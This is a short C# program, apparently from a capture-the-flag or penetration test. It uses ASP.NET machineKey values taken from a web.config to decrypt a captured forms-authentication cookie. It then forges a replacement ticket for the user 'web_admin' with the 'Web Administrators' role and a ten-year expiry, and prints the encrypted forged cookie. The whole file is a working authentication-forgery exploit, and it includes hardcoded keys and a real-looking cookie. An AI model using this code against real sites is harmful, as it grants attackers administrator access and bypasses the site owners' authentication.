using System; using AspNetCore.LegacyAuthCookieCompat; namespace Runner { class Program { static void Main(string[] args) { // machineKey from web.config string decryptionKey = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"; string validationKey = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80"; // Encrypted cookie value string encryptedText = "F733E56B6EF06CB79610BEFDB0F13644B1E3B8EAC48F862D998AAD3D1F5ECE38FDA8CF20D40597CC0168173A8904B9600709CBA94377FE09E29348E21479464E9672ECFE83227978243FB61598E9D5F7339BB947D0D07647E3ACE50ABC4566F75B4B2F65341EF3AD64B3879CD6586A9D1A7EB180B0A0F56A9CF015E5E81811D12D7689283467FC5B9DD9C5296743482448CA56F6C3CE5E8EF2B7D9DCD370EFA2"; byte[] decryptionKeyBytes = HexUtils.HexToBinary(decryptionKey); byte[] validationKeyBytes = HexUtils.HexToBinary(validationKey); // Create encryptor with HMACSHA256 (validation="HMACSHA256" in web.config) var legacyFormsAuthenticationTicketEncryptor = new LegacyFormsAuthenticationTicketEncryptor( decryptionKeyBytes, validationKeyBytes, ShaVersion.Sha256 ); try { // Decrypt the cookie FormsAuthenticationTicket decryptedTicket = legacyFormsAuthenticationTicketEncryptor.DecryptCookie(encryptedText); Console.WriteLine("=== Decrypted Forms Authentication Ticket ==="); Console.WriteLine($"Version: {decryptedTicket.Version}"); Console.WriteLine($"Name: {decryptedTicket.Name}"); Console.WriteLine($"Issue Date: {decryptedTicket.IssueDate}"); Console.WriteLine($"Expiration: {decryptedTicket.Expiration}"); Console.WriteLine($"IsPersistent: {decryptedTicket.IsPersistent}"); Console.WriteLine($"UserData: {decryptedTicket.UserData}"); Console.WriteLine($"CookiePath: {decryptedTicket.CookiePath}"); Console.WriteLine(); // Create new forged ticket with web_admin user var issueDate = DateTime.Now; var expirationDate = issueDate.AddYears(10); // Very long expiration var forgedTicket = new FormsAuthenticationTicket( decryptedTicket.Version, "web_admin", issueDate, expirationDate, decryptedTicket.IsPersistent, //decryptedTicket.UserData, "Web Administrators", decryptedTicket.CookiePath ); // Encrypt the forged ticket string forgedCookie = legacyFormsAuthenticationTicketEncryptor.Encrypt(forgedTicket); Console.WriteLine("=== Forged Forms Authentication Ticket ==="); Console.WriteLine($"Version: {forgedTicket.Version}"); Console.WriteLine($"Name: {forgedTicket.Name}"); Console.WriteLine($"Issue Date: {forgedTicket.IssueDate}"); Console.WriteLine($"Expiration: {forgedTicket.Expiration}"); Console.WriteLine($"IsPersistent: {forgedTicket.IsPersistent}"); Console.WriteLine($"UserData: {forgedTicket.UserData}"); Console.WriteLine($"CookiePath: {forgedTicket.CookiePath}"); Console.WriteLine(); Console.WriteLine("=== Encrypted Forged Cookie ==="); Console.WriteLine(forgedCookie); } catch (Exception ex) { Console.WriteLine($"Error: {ex.Message}"); } } } }